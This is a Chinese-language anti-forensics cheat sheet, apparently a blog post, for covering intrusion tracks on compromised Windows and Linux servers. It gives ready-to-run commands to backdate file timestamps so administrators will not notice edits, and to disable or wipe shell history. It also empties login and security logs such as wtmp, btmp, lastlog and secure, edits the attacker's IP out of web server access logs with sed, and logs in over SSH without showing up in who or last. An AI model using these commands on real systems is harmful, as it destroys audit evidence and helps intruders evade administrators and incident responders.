Windows
修改文件时间戳
有时我们登陆到服务器,对它的⽂件进行了修改,修改后的⽂件的时间戳会更新到最新的时间,那么这样就会引起管理员的注意。 因此我们需要吧那个⽂件的时间戳给修改成其他时间。
代码语言:javascript复制Powershell修改时间命令
$(DATE) 表示当前日期和时间;
$(Get-Date) 同$(DATE),表示当前日期和时间;
$(Get-Date "MM/DD/YYYY HH24:MI:SS") 表示指定的日期和时间;
$(Get-Item abc.txt) 表示获取文件的句柄;
$(Get-Item abc.txt).creationtime 获取文件创建时间
$(Get-Item abc.txt).lastaccesstime 获取文件最后访问时间
$(Get-Item abc.txt).lastwritetime 获取文件修改时间
# 设置文件test.txt的时间为当前时间
$(Get-Item abc.txt).creationtime=$(DATE)
$(Get-Item abc.txt).lastaccesstime=$(DATE)
$(Get-Item abc.txt).lastwritetime=$(DATE)
# 设置文件abc.txt的时间为指定的某个时间
$(Get-Item abc.txt).creationtime=$(Get-Date "11/04/2019 20:42:23")
$(Get-Item abc.txt).lastaccesstime=$(Get-Date "11/04/2019 20:42:23")
$(Get-Item abc.txt).lastwritetime=$(Get-Date "11/04/2019 20:42:23")
修改文件时间戳
代码语言:javascript复制$data="10/1/2008 12:30:30";$file="C:test.txt";$(Get-Item $file).creationtime=$(Get-Date $data);$(Get-Item $file).lastaccesstime=$(Get-Date $data);$(Get-Item $file).lastwritetime=$(Get-Date $data)
Linux
修改文件时间戳
代码语言:javascript复制ls -l test.txt
# 修改文件的修改时间和访问时间
touch -d "2018-04-18 08:00:00" test.txt
清除history历史命令记录
bash执行命令时不是马上把命令名称写入history文件的,而是存放在内部的buffer中,等bash退出时会一并写入。不过,可以调用history -w命令要求bash立即更新history文件。
查看历史操作命令:
代码语言:javascript复制history # 查看历史操作命令
cat ~/.bash_history # history记录文件
第一种方式:
l编辑history记录文件,删除部分不想被保存的历史命令。
代码语言:javascript复制vim ~/.bash_history
清除当前用户的history命令记录
代码语言:javascript复制history -c
第二种方式:
利用vim执行命令
代码语言:javascript复制#使用vim打开一个文件
vi test.txt
# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0
:!command
第三种方式:
通过修改配置文件/etc/profile,使系统不再保存命令记录。默认情况下历史命令将保存1000条,可以将该值改为0,然后保存并退出,最后重启系统使得配置文件生效。
代码语言:javascript复制HISTSIZE=0
第四种方式:
登录后执行下面命令,不记录历史命令(.bash_history)
代码语言:javascript复制unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
清除系统日志痕迹
Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志。
代码语言:javascript复制/var/log/btmp 记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
第一种方式:清空日志文件
l清除登录系统失败的记录:
代码语言:javascript复制echo > /var/log/btmp
lastb
l清除登录系统成功的记录:
代码语言:javascript复制echo > /var/log/wtmp
last //查询不到登录成功的信息
l清除相关日志信息:
代码语言:javascript复制清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
第二种方式:删除/替换部分日志
l日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
代码语言:javascript复制# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed -i '/自己的ip/'d test.txt
sed -i '/192.168.1.2/'d test.txt
# 全局替换登录IP地址:
sed 's/要被取代的字串/新的字串/g'
sed -i 's/192.168.1.1/192.168.1.2/g' test.txt
隐藏远程SSH登录记录
隐身登录系统,不会被w、who、last等指令检测到。
代码语言:javascript复制ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
代码语言:javascript复制ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
清除Web入侵痕迹
直接替换日志ip地址
代码语言:javascript复制sed -i 's/192.168.166.85/192.168.1.1/g' apache/logs/access.log
常见日志地址
代码语言:javascript复制# apache
apache/logs/access.log # 访问日志
apache/logs/error.log # 错误日志
# nginx
nginx/logs/access.log # 访问日志
nginx/logs/error.log # 错误日志
# tomcat
tomcat/logs/localhost_access_log.日期.txt # 请求日志
tomcat/logs/catalina.日期.log # 启动日志
tomcat/logs/localhost.日期.txt # 本地日志
tomcat/logs/host-manager.日期.log # manager管理日志
tomcat/logs/manager.日志.log # manager专有日志
Linux删除登录日志和操作信息
代码语言:javascript复制echo > /var/log/wtmp //清除用户登录记录
echo > /var/log/btmp //清除尝试登录记录 echo>/var/log/lastlog //清除最近登录信息
echo > /var/log/secure //登录信息
echo > /var/log/messages echo>/var/log/syslog //记录系统日志的服务
echo>/var/log/xferlog
echo>/var/log/auth.log
echo>/var/log/user.log
cat /dev/null > /var/adm/sylog
cat /dev/null > /var/log/maillog
cat /dev/null > /var/log/openwebmail.log
cat /dev/null > /var/log/mail.info echo>/var/run/utmp